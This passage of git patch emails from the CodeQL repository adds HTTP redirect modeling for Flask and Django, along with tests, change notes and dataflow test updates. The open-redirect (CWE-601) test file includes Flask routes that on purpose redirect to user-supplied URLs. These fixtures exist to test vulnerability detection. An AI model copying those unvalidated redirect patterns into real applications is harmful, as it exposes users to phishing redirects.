= bb.getASuccessor() } class ExitBasicBlock = ControlFlow::BasicBlocks::ExitBlock; From cff56350e088d8ba13065dad7e566b8503d27307 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 19 Jan 2021 10:34:25 +0000 Subject: [PATCH 0691/1241] C++: Fix getClassAndName parameter name. --- cpp/ql/src/semmle/code/cpp/Function.qll | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Function.qll b/cpp/ql/src/semmle/code/cpp/Function.qll index 7bda4559c61..4ddf852f49f 100644 --- a/cpp/ql/src/semmle/code/cpp/Function.qll +++ b/cpp/ql/src/semmle/code/cpp/Function.qll @@ -335,14 +335,14 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { } /** - * Gets the class of which this function, called `name`, is a member. + * Gets the class of which this function, called `memberName`, is a member. * * Prefer to use `getDeclaringType()` or `getName()` directly if you do not * need to reason about both. */ pragma[nomagic] - Class getClassAndName(string myName) { - this.hasName(myName) and + Class getClassAndName(string memberName) { + this.hasName(memberName) and this.getDeclaringType() = result } From 47470e08c3a15663119e44a1fe826a663b2c0fad Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Tue, 19 Jan 2021 10:54:17 +0000 Subject: [PATCH 0692/1241] Add QLDoc link, suggested by @Marcono1234 --- docs/codeql/ql-language-reference/ql-language-specification.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 940951067b8..61bad5e2a5b 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -470,6 +470,8 @@ A QLDoc comment is a *qldoc comment start*, followed by a *qldoc comment body*, The "content" of a QLDoc comment is the comment body of the comment, omitting the initial ``/**``, the trailing ``*/``, and the leading whitespace followed by ``*`` on each internal line. +For more information about how the content is interpreted, see see "`QLDoc <#qldoc>`__" below. + Keywords ~~~~~~~~ From efb872ad1e96bcc703394777e80046ab8b043a79 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 14 Jan 2021 19:15:52 +0100 Subject: [PATCH 0693/1241] Python: Add HttpRedirectResponse concept --- python/ql/src/semmle/python/Concepts.qll | 35 ++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/python/ql/src/semmle/python/Concepts.qll b/python/ql/src/semmle/python/Concepts.qll index a79eaa2dc55..b81817d7f10 100644 --- a/python/ql/src/semmle/python/Concepts.qll +++ b/python/ql/src/semmle/python/Concepts.qll @@ -473,5 +473,40 @@ module HTTP { } } } + + /** + * A data-flow node that creates a HTTP redirect response on a server. + * + * Note: we don't require that this redirect must be sent to a client (a kind of + * "if a tree falls in a forest and nobody hears it" situation). + * + * Extend this class to refine existing API models. If you want to model new APIs, + * extend `HttpRedirectResponse::Range` instead. + */ + class HttpRedirectResponse extends HttpResponse { + override HttpRedirectResponse::Range range; + + HttpRedirectResponse() { this = range } + + /** Gets the data-flow node that specifies the location of this HTTP redirect response. */ + DataFlow::Node getRedirectLocation() { result = range.getRedirectLocation() } + } + + /** Provides a class for modeling new HTTP redirect response APIs. */ + module HttpRedirectResponse { + /** + * A data-flow node that creates a HTTP redirect response on a server. + * + * Note: we don't require that this redirect must be sent to a client (a kind of + * "if a tree falls in a forest and nobody hears it" situation). + * + * Extend this class to model new APIs. If you want to refine existing API models, + * extend `HttpResponse` instead. + */ + abstract class Range extends HTTP::Server::HttpResponse::Range { + /** Gets the data-flow node that specifies the location of this HTTP redirect response. */ + abstract DataFlow::Node getRedirectLocation(); + } + } } } From 501e5106226f4dc8cb287d9db4a099435c41708a Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 14:43:25 +0100 Subject: [PATCH 0694/1241] Python: Add redirect modeling tests (flask/django) --- .../frameworks/django-v1/response_test.py | 30 +++++++++++++++---- .../frameworks/flask/response_test.py | 14 ++++++++- .../test/experimental/meta/ConceptsTest.qll | 25 ++++++++++++++++ 3 files changed, 63 insertions(+), 6 deletions(-) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py index 1713173d026..b36b1e1822c 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py @@ -1,4 +1,4 @@ -from django.http.response import HttpResponse, HttpResponseRedirect, JsonResponse, HttpResponseNotFound +from django.http.response import HttpResponse, HttpResponseRedirect, HttpResponsePermanentRedirect, JsonResponse, HttpResponseNotFound # Not an XSS sink, since the Content-Type is not "text/html" # FP reported in https://github.com/github/codeql-python-team/issues/38 @@ -18,15 +18,35 @@ def safe__manual_content_type(request): # XSS FP reported in https://github.com/github/codeql/issues/3466 # Note: This should be an open-redirect sink, but not an XSS sink. def or__redirect(request): - return HttpResponseRedirect(request.GET.get("next")) # $HttpResponse mimetype=text/html + next = request.GET.get("next") + return HttpResponseRedirect(next) # $HttpResponse mimetype=text/html MISSING: HttpRedirectResponse redirectLocation=next -def information_exposure_through_redirect(request, as_kw=False): +def information_exposure_through_redirect(request, as_kw=False, perm_redirect=False): # This is a contrived example, but possible private = "private" + next = request.GET.get("next") if as_kw: - return HttpResponseRedirect(request.GET.get("next"), content=private) # $HttpResponse mimetype=text/html responseBody=private + return HttpResponseRedirect(next, content=private) # $HttpResponse mimetype=text/html responseBody=private MISSING: HttpRedirectResponse redirectLocation=next else: - return HttpResponseRedirect(request.GET.get("next"), private) # $HttpResponse mimetype=text/html responseBody=private + return HttpResponseRedirect(next, private) # $ HttpResponse mimetype=text/html responseBody=private MISSING: HttpRedirectResponse redirectLocation=next + + +def perm_redirect(request): + private = "private" + next = request.GET.get("next") + return HttpResponsePermanentRedirect(next, private) # $ HttpResponse mimetype=text/html responseBody=private MISSING: HttpRedirectResponse redirectLocation=next + + +def redirect_through_normal_response(request): + private = "private" + next = request.GET.get("next") + + resp = HttpResponse() # $ HttpResponse mimetype=text/html + resp.status_code = 302 + resp['Location'] = next # $ MISSING: redirectLocation=next + resp.content = private # $ MISSING: responseBody=private + return resp + # Ensure that simple subclasses are still vuln to XSS def xss__not_found(request): diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py index b067f173882..7c15704f7e3 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py @@ -1,6 +1,6 @@ import json -from flask import Flask, make_response, jsonify, Response, request +from flask import Flask, make_response, jsonify, Response, request, redirect app = Flask(__name__) @@ -172,6 +172,18 @@ def app_response_class(): # $requestHandler # TODO: add tests for setting status code # TODO: add test that manually creates a redirect by setting status code and suitable header. +################################################################################ +# Redirect +################################################################################ + + +@app.route("/redirect-simple") # $routeSetup="/redirect-simple" +def redirect_simple(): # $requestHandler + next = request.args['next'] + resp = redirect(next) # $ MISSING: HttpResponse mimetype=text/html HttpRedirectResponse redirectLocation=next + return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp + + ################################################################################ diff --git a/python/ql/test/experimental/meta/ConceptsTest.qll b/python/ql/test/experimental/meta/ConceptsTest.qll index 0516fe5dac3..eafcb8b0ef9 100644 --- a/python/ql/test/experimental/meta/ConceptsTest.qll +++ b/python/ql/test/experimental/meta/ConceptsTest.qll @@ -239,6 +239,31 @@ class HttpServerHttpResponseTest extends InlineExpectationsTest { } } +class HttpServerHttpRedirectResponseTest extends InlineExpectationsTest { + HttpServerHttpRedirectResponseTest() { this = "HttpServerHttpRedirectResponseTest" } + + override string getARelevantTag() { result in ["HttpRedirectResponse", "redirectLocation"] } + + override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(location.getFile().getRelativePath()) and + ( + exists(HTTP::Server::HttpRedirectResponse redirect | + location = redirect.getLocation() and + element = redirect.toString() and + value = "" and + tag = "HttpRedirectResponse" + ) + or + exists(HTTP::Server::HttpRedirectResponse redirect | + location = redirect.getLocation() and + element = redirect.toString() and + value = value_from_expr(redirect.getRedirectLocation().asExpr()) and + tag = "redirectLocation" + ) + ) + } +} + class FileSystemAccessTest extends InlineExpectationsTest { FileSystemAccessTest() { this = "FileSystemAccessTest" } From aea974ee0c1372a7872222667f77b22e24263eea Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 14:44:50 +0100 Subject: [PATCH 0695/1241] Python: Add redirect modeling for Flask --- .../ql/src/semmle/python/frameworks/Flask.qll | 29 ++++++++++++++++++- .../frameworks/flask/response_test.py | 2 +- 2 files changed, 29 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 68f81e32ceb..c49c012f6f0 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -34,7 +34,7 @@ private module FlaskModel { * WARNING: Only holds for a few predefined attributes. */ private DataFlow::Node flask_attr(DataFlow::TypeTracker t, string attr_name) { - attr_name in ["request", "make_response", "Response", "views"] and + attr_name in ["request", "make_response", "Response", "views", "redirect"] and ( t.start() and result = DataFlow::importNode("flask" + "." + attr_name) @@ -669,4 +669,31 @@ private module FlaskModel { override string getMimetypeDefault() { result = "text/html" } } + + /** + * A call to the `flask.redirect` function. + * + * See https://flask.palletsprojects.com/en/1.1.x/api/#flask.redirect + */ + private class FlaskRedirectCall extends HTTP::Server::HttpRedirectResponse::Range, + DataFlow::CfgNode { + override CallNode node; + + FlaskRedirectCall() { node.getFunction() = flask_attr("redirect").asCfgNode() } + + override DataFlow::Node getRedirectLocation() { + result.asCfgNode() in [node.getArg(0), node.getArgByName("location")] + } + + override DataFlow::Node getBody() { none() } + + override DataFlow::Node getMimetypeOrContentTypeArg() { none() } + + override string getMimetypeDefault() { + // note that while you're not able to set content yourself, the function will + // actually fill out some default content, that is served with mimetype + // `text/html`. + result = "text/html" + } + } } diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py index 7c15704f7e3..ec2de218c84 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py @@ -180,7 +180,7 @@ def app_response_class(): # $requestHandler @app.route("/redirect-simple") # $routeSetup="/redirect-simple" def redirect_simple(): # $requestHandler next = request.args['next'] - resp = redirect(next) # $ MISSING: HttpResponse mimetype=text/html HttpRedirectResponse redirectLocation=next + resp = redirect(next) # $ HttpResponse mimetype=text/html HttpRedirectResponse redirectLocation=next return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp From ab607b803093fd8a6055b7236c25bdc97fff86e8 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 14:45:41 +0100 Subject: [PATCH 0696/1241] Python: Add redirect modeling for Django --- python/ql/src/semmle/python/frameworks/Django.qll | 14 ++++++++++++-- .../frameworks/django-v1/response_test.py | 8 ++++---- 2 files changed, 16 insertions(+), 6 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 674aedec566..4251b515322 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -724,7 +724,8 @@ private module Django { * * Use the predicate `HttpResponseRedirect::instance()` to get references to instances of `django.http.response.HttpResponseRedirect`. */ - abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } + abstract class InstanceSource extends HttpResponse::InstanceSource, + HTTP::Server::HttpRedirectResponse::Range, DataFlow::Node { } /** A direct instantiation of `django.http.response.HttpResponseRedirect`. */ private class ClassInstantiation extends InstanceSource, DataFlow::CfgNode { @@ -739,6 +740,10 @@ private module Django { result.asCfgNode() in [node.getArg(1), node.getArgByName("content")] } + override DataFlow::Node getRedirectLocation() { + result.asCfgNode() in [node.getArg(0), node.getArgByName("redirect_to")] + } + // How to support the `headers` argument here? override DataFlow::Node getMimetypeOrContentTypeArg() { none() } @@ -790,7 +795,8 @@ private module Django { * * Use the predicate `HttpResponsePermanentRedirect::instance()` to get references to instances of `django.http.response.HttpResponsePermanentRedirect`. */ - abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } + abstract class InstanceSource extends HttpResponse::InstanceSource, + HTTP::Server::HttpRedirectResponse::Range, DataFlow::Node { } /** A direct instantiation of `django.http.response.HttpResponsePermanentRedirect`. */ private class ClassInstantiation extends InstanceSource, DataFlow::CfgNode { @@ -805,6 +811,10 @@ private module Django { result.asCfgNode() in [node.getArg(1), node.getArgByName("content")] } + override DataFlow::Node getRedirectLocation() { + result.asCfgNode() in [node.getArg(0), node.getArgByName("redirect_to")] + } + // How to support the `headers` argument here? override DataFlow::Node getMimetypeOrContentTypeArg() { none() } diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py index b36b1e1822c..69cdd899c8d 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py @@ -19,22 +19,22 @@ def safe__manual_content_type(request): # Note: This should be an open-redirect sink, but not an XSS sink. def or__redirect(request): next = request.GET.get("next") - return HttpResponseRedirect(next) # $HttpResponse mimetype=text/html MISSING: HttpRedirectResponse redirectLocation=next + return HttpResponseRedirect(next) # $HttpResponse mimetype=text/html HttpRedirectResponse redirectLocation=next def information_exposure_through_redirect(request, as_kw=False, perm_redirect=False): # This is a contrived example, but possible private = "private" next = request.GET.get("next") if as_kw: - return HttpResponseRedirect(next, content=private) # $HttpResponse mimetype=text/html responseBody=private MISSING: HttpRedirectResponse redirectLocation=next + return HttpResponseRedirect(next, content=private) # $HttpResponse mimetype=text/html responseBody=private HttpRedirectResponse redirectLocation=next else: - return HttpResponseRedirect(next, private) # $ HttpResponse mimetype=text/html responseBody=private MISSING: HttpRedirectResponse redirectLocation=next + return HttpResponseRedirect(next, private) # $ HttpResponse mimetype=text/html responseBody=private HttpRedirectResponse redirectLocation=next def perm_redirect(request): private = "private" next = request.GET.get("next") - return HttpResponsePermanentRedirect(next, private) # $ HttpResponse mimetype=text/html responseBody=private MISSING: HttpRedirectResponse redirectLocation=next + return HttpResponsePermanentRedirect(next, private) # $ HttpResponse mimetype=text/html responseBody=private HttpRedirectResponse redirectLocation=next def redirect_through_normal_response(request): From 830f8bfef6f379c925294c4faaa1ca55a2fee69f Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 15:08:47 +0100 Subject: [PATCH 0697/1241] Python: Add change-note for Flask class based view handlers For https://github.com/github/codeql/pull/4944 --- .../change-notes/2021-01-12-flask-class-based-view-handlers.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 python/change-notes/2021-01-12-flask-class-based-view-handlers.md diff --git a/python/change-notes/2021-01-12-flask-class-based-view-handlers.md b/python/change-notes/2021-01-12-flask-class-based-view-handlers.md new file mode 100644 index 00000000000..ef32a9fce8b --- /dev/null +++ b/python/change-notes/2021-01-12-flask-class-based-view-handlers.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added modeling of flask class based view handlers (subclasses of `flask.views.View` and `flask.views.MethodView`). This means we're now able to detect routed parameters for request handler defined on these classes, as sources of remote user input (`RemoteFlowSource`). From 9d8925ae6a47aa74edacf14e32f15221d5269e3f Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 15:16:55 +0100 Subject: [PATCH 0698/1241] Python: Extend url-redirect tests Specifically to show how it currently handles prefixing user-input with known constant. I changed test to be Python 3 only since I wanted to use f-string. --- .../Security/CWE-601/UrlRedirect.expected | 45 +++++++++++++ .../test/query-tests/Security/CWE-601/options | 2 +- .../test/query-tests/Security/CWE-601/test.py | 64 ++++++++++++++++++- 3 files changed, 107 insertions(+), 4 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected index 87e3a9b98f1..ec681a905a5 100644 --- a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected +++ b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected @@ -3,5 +3,50 @@ edges | test.py:7:14:7:25 | dict of externally controlled string | test.py:7:14:7:43 | externally controlled string | | test.py:7:14:7:43 | externally controlled string | test.py:8:21:8:26 | externally controlled string | | test.py:7:14:7:43 | externally controlled string | test.py:8:21:8:26 | externally controlled string | +| test.py:30:17:30:28 | dict of externally controlled string | test.py:30:17:30:46 | externally controlled string | +| test.py:30:17:30:28 | dict of externally controlled string | test.py:30:17:30:46 | externally controlled string | +| test.py:30:17:30:46 | externally controlled string | test.py:31:41:31:49 | externally controlled string | +| test.py:30:17:30:46 | externally controlled string | test.py:31:41:31:49 | externally controlled string | +| test.py:31:12:31:50 | externally controlled string | test.py:32:21:32:24 | externally controlled string | +| test.py:31:12:31:50 | externally controlled string | test.py:32:21:32:24 | externally controlled string | +| test.py:31:41:31:49 | externally controlled string | test.py:31:12:31:50 | externally controlled string | +| test.py:31:41:31:49 | externally controlled string | test.py:31:12:31:50 | externally controlled string | +| test.py:37:17:37:28 | dict of externally controlled string | test.py:37:17:37:46 | externally controlled string | +| test.py:37:17:37:28 | dict of externally controlled string | test.py:37:17:37:46 | externally controlled string | +| test.py:37:17:37:46 | externally controlled string | test.py:38:32:38:40 | externally controlled string | +| test.py:37:17:37:46 | externally controlled string | test.py:38:32:38:40 | externally controlled string | +| test.py:38:12:38:42 | externally controlled string | test.py:39:21:39:24 | externally controlled string | +| test.py:38:12:38:42 | externally controlled string | test.py:39:21:39:24 | externally controlled string | +| test.py:38:32:38:40 | externally controlled string | test.py:38:12:38:42 | externally controlled string | +| test.py:38:32:38:40 | externally controlled string | test.py:38:12:38:42 | externally controlled string | +| test.py:53:17:53:28 | dict of externally controlled string | test.py:53:17:53:46 | externally controlled string | +| test.py:53:17:53:28 | dict of externally controlled string | test.py:53:17:53:46 | externally controlled string | +| test.py:53:17:53:46 | externally controlled string | test.py:54:14:54:22 | externally controlled string | +| test.py:53:17:53:46 | externally controlled string | test.py:54:14:54:22 | externally controlled string | +| test.py:54:14:54:22 | externally controlled string | test.py:54:14:54:41 | externally controlled string | +| test.py:54:14:54:22 | externally controlled string | test.py:54:14:54:41 | externally controlled string | +| test.py:54:14:54:41 | externally controlled string | test.py:55:21:55:26 | externally controlled string | +| test.py:54:14:54:41 | externally controlled string | test.py:55:21:55:26 | externally controlled string | +| test.py:60:17:60:28 | dict of externally controlled string | test.py:60:17:60:46 | externally controlled string | +| test.py:60:17:60:28 | dict of externally controlled string | test.py:60:17:60:46 | externally controlled string | +| test.py:60:17:60:46 | externally controlled string | test.py:61:40:61:48 | externally controlled string | +| test.py:60:17:60:46 | externally controlled string | test.py:61:40:61:48 | externally controlled string | +| test.py:61:14:61:49 | externally controlled string | test.py:62:21:62:26 | externally controlled string | +| test.py:61:14:61:49 | externally controlled string | test.py:62:21:62:26 | externally controlled string | +| test.py:61:40:61:48 | externally controlled string | test.py:61:14:61:49 | externally controlled string | +| test.py:61:40:61:48 | externally controlled string | test.py:61:14:61:49 | externally controlled string | +| test.py:67:17:67:28 | dict of externally controlled string | test.py:67:17:67:46 | externally controlled string | +| test.py:67:17:67:28 | dict of externally controlled string | test.py:67:17:67:46 | externally controlled string | +| test.py:67:17:67:46 | externally controlled string | test.py:68:17:68:25 | externally controlled string | +| test.py:67:17:67:46 | externally controlled string | test.py:68:17:68:25 | externally controlled string | +| test.py:68:14:68:41 | externally controlled string | test.py:69:21:69:26 | externally controlled string | +| test.py:68:14:68:41 | externally controlled string | test.py:69:21:69:26 | externally controlled string | +| test.py:68:17:68:25 | externally controlled string | test.py:68:14:68:41 | externally controlled string | +| test.py:68:17:68:25 | externally controlled string | test.py:68:14:68:41 | externally controlled string | #select | test.py:8:21:8:26 | target | test.py:7:14:7:25 | dict of externally controlled string | test.py:8:21:8:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:7:14:7:25 | Attribute | a user-provided value | +| test.py:32:21:32:24 | safe | test.py:30:17:30:28 | dict of externally controlled string | test.py:32:21:32:24 | externally controlled string | Untrusted URL redirection due to $@. | test.py:30:17:30:28 | Attribute | a user-provided value | +| test.py:39:21:39:24 | safe | test.py:37:17:37:28 | dict of externally controlled string | test.py:39:21:39:24 | externally controlled string | Untrusted URL redirection due to $@. | test.py:37:17:37:28 | Attribute | a user-provided value | +| test.py:55:21:55:26 | unsafe | test.py:53:17:53:28 | dict of externally controlled string | test.py:55:21:55:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:53:17:53:28 | Attribute | a user-provided value | +| test.py:62:21:62:26 | unsafe | test.py:60:17:60:28 | dict of externally controlled string | test.py:62:21:62:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:60:17:60:28 | Attribute | a user-provided value | +| test.py:69:21:69:26 | unsafe | test.py:67:17:67:28 | dict of externally controlled string | test.py:69:21:69:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:67:17:67:28 | Attribute | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-601/options b/python/ql/test/query-tests/Security/CWE-601/options index 84717fe64cf..28b616e5f19 100644 --- a/python/ql/test/query-tests/Security/CWE-601/options +++ b/python/ql/test/query-tests/Security/CWE-601/options @@ -1 +1 @@ -semmle-extractor-options: --max-import-depth=2 -p ../lib +semmle-extractor-options: --lang=3 --max-import-depth=2 -p ../lib diff --git a/python/ql/test/query-tests/Security/CWE-601/test.py b/python/ql/test/query-tests/Security/CWE-601/test.py index 3943f7276bd..dfc9e37281d 100644 --- a/python/ql/test/query-tests/Security/CWE-601/test.py +++ b/python/ql/test/query-tests/Security/CWE-601/test.py @@ -8,11 +8,69 @@ def hello(): return redirect(target, code=302) -#Check for safe prefixes +# Check for safe prefixes @app.route('/ok') def ok(): - untrusted = request.args.get('ok', '') - safe = "safe" + untrusted = request.args.get('target', '') + safe = "https://safe.com/" safe += untrusted return redirect(safe, code=302) + + +@app.route('/ok2') +def ok2(): + untrusted = request.args.get('target', '') + safe = "https://safe.com/" + untrusted + return redirect(safe, code=302) + + +@app.route('/ok3') +def ok3(): + untrusted = request.args.get('target', '') + safe = "https://safe.com/{}".format(untrusted) + return redirect(safe, code=302) # FP + + +@app.route('/ok4') +def ok4(): + untrusted = request.args.get('target', '') + safe = f"https://safe.com/{untrusted}" + return redirect(safe, code=302) # FP + + +@app.route('/ok5') +def ok5(): + untrusted = request.args.get('target', '') + safe = "https://safe.com/%s" % untrusted + return redirect(safe, code=302) + + +# Check that our sanitizer is not too broad + +@app.route('/not_ok1') +def not_ok1(): + untrusted = request.args.get('target', '') + unsafe = untrusted + "?login=success" + return redirect(unsafe, code=302) + + +@app.route('/not_ok2') +def not_ok2(): + untrusted = request.args.get('target', '') + unsafe = "{}?login=success".format(untrusted) + return redirect(unsafe, code=302) + + +@app.route('/not_ok3') +def not_ok3(): + untrusted = request.args.get('target', '') + unsafe = f"{untrusted}?login=success" + return redirect(unsafe, code=302) + + +@app.route('/not_ok4') +def not_ok4(): + untrusted = request.args.get('target', '') + unsafe = "%s?login=success" % untrusted + return redirect(unsafe, code=302) # Missing result From 91fa12b1befdb327c6056b02d8e19b0aca57168f Mon Sep 17 00:00:00 2001 From: yo-h <55373593+yo-h@users.noreply.github.com> Date: Tue, 19 Jan 2021 10:19:18 -0500 Subject: [PATCH 0699/1241] Java: add change note for `struts.xml` extraction --- java/change-notes/2021-01-19-struts-xml-extraction.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 java/change-notes/2021-01-19-struts-xml-extraction.md diff --git a/java/change-notes/2021-01-19-struts-xml-extraction.md b/java/change-notes/2021-01-19-struts-xml-extraction.md new file mode 100644 index 00000000000..ce0ff2f30c2 --- /dev/null +++ b/java/change-notes/2021-01-19-struts-xml-extraction.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* XML files named `struts.xml` are now extracted by default. From 77da4b0106beaacebff7d9de3f8c30b292e7a8d3 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 19 Jan 2021 17:05:42 +0100 Subject: [PATCH 0700/1241] Python: Remove absolute line numbers - Use relative line numbers in flow test - Elide line numbers in routing test (new concept) --- .../dataflow/TestUtil/FlowTest.qll | 13 +- .../dataflow/TestUtil/RoutingTest.qll | 35 + .../test/experimental/dataflow/basic/test.py | 8 +- .../dataflow/coverage/argumentPassing.py | 92 +-- .../dataflow/coverage/argumentRoutingTest.ql | 16 +- .../experimental/dataflow/coverage/classes.py | 688 +++++++++--------- .../dataflow/coverage/datamodel.py | 6 +- .../experimental/dataflow/coverage/test.py | 64 +- 8 files changed, 482 insertions(+), 440 deletions(-) create mode 100644 python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll diff --git a/python/ql/test/experimental/dataflow/TestUtil/FlowTest.qll b/python/ql/test/experimental/dataflow/TestUtil/FlowTest.qll index edb24373386..f6985bf4a1e 100644 --- a/python/ql/test/experimental/dataflow/TestUtil/FlowTest.qll +++ b/python/ql/test/experimental/dataflow/TestUtil/FlowTest.qll @@ -26,8 +26,15 @@ abstract class FlowTest extends InlineExpectationsTest { pragma[inline] private string lineStr(DataFlow::Node fromNode, DataFlow::Node toNode) { - if fromNode.getLocation().getStartLine() = toNode.getLocation().getStartLine() - then result = "" - else result = ", l:" + fromNode.getLocation().getStartLine() + exists(int delta | + delta = fromNode.getLocation().getStartLine() - toNode.getLocation().getStartLine() + | + if delta = 0 + then result = "" + else + if delta > 0 + then result = ", l:+" + delta.toString() + else result = ", l:" + delta.toString() + ) } } diff --git a/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll new file mode 100644 index 00000000000..eb685cc3ac1 --- /dev/null +++ b/python/ql/test/experimental/dataflow/TestUtil/RoutingTest.qll @@ -0,0 +1,35 @@ +import python +import semmle.python.dataflow.new.DataFlow +import TestUtilities.InlineExpectationsTest +import experimental.dataflow.TestUtil.PrintNode + +/** + * A routing test is designed to test that vlues are routed to the + * correct arguments of the correct functions. It is assumed that + * the functions tested sink their arguments sequentially, that is + * `SINK1(arg1)`, etc. + */ +abstract class RoutingTest extends InlineExpectationsTest { + bindingset[this] + RoutingTest() { any() } + + abstract string flowTag(); + + abstract predicate relevantFlow(DataFlow::Node fromNode, DataFlow::Node toNode); + + override string getARelevantTag() { result in ["func", this.flowTag()] } + + override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(DataFlow::Node fromNode, DataFlow::Node toNode | this.relevantFlow(fromNode, toNode) | + location = fromNode.getLocation() and + element = fromNode.toString() and + ( + tag = this.flowTag() and + value = "\"" + prettyNode(fromNode).replaceAll("\"", "'") + "\"" + or + tag = "func" and + value = toNode.getEnclosingCallable().getCallableValue().getScope().getQualifiedName() // TODO: More robust pretty printing? + ) + ) + } +} diff --git a/python/ql/test/experimental/dataflow/basic/test.py b/python/ql/test/experimental/dataflow/basic/test.py index b850aa0d99c..7ea19e9d4d0 100644 --- a/python/ql/test/experimental/dataflow/basic/test.py +++ b/python/ql/test/experimental/dataflow/basic/test.py @@ -1,7 +1,7 @@ def obfuscated_id(x): #$ step="FunctionExpr -> GSSA Variable obfuscated_id" step="x -> SSA variable x" - y = x #$ step="x -> SSA variable y" step="SSA variable x, l:1 -> x" - z = y #$ step="y -> SSA variable z" step="SSA variable y, l:2 -> y" - return z #$ flow="42, l:6 -> z" step="SSA variable z, l:3 -> z" + y = x #$ step="x -> SSA variable y" step="SSA variable x, l:-1 -> x" + z = y #$ step="y -> SSA variable z" step="SSA variable y, l:-1 -> y" + return z #$ flow="42, l:+2 -> z" step="SSA variable z, l:-1 -> z" a = 42 #$ step="42 -> GSSA Variable a" -b = obfuscated_id(a) #$ flow="42, l:6 -> GSSA Variable b" flow="FunctionExpr, l:1 -> obfuscated_id" step="obfuscated_id(..) -> GSSA Variable b" step="GSSA Variable obfuscated_id, l:1 -> obfuscated_id" step="GSSA Variable a, l:6 -> a" +b = obfuscated_id(a) #$ flow="42, l:-1 -> GSSA Variable b" flow="FunctionExpr, l:-6 -> obfuscated_id" step="obfuscated_id(..) -> GSSA Variable b" step="GSSA Variable obfuscated_id, l:-6 -> obfuscated_id" step="GSSA Variable a, l:-1 -> a" diff --git a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py index 6de4d56ad13..67650c149d3 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py +++ b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py @@ -72,78 +72,78 @@ def argument_passing( f, **g, ): - SINK1(a) #$ arg1="arg1, l:89 -> a" arg1="arg1, l:94 -> a" - SINK2(b) #$ arg2="arg2, l:94 -> b" MISSING:arg2="arg2, l:89 -> b" - SINK3(c) #$ arg3="arg3, l:94 -> c" MISSING: arg3="arg3, l:89 -> c" - SINK4(d) #$ MISSING: arg4="arg4, l:89 -> d" - SINK5(e) #$ MISSING: arg5="arg5, l:89 -> e" - 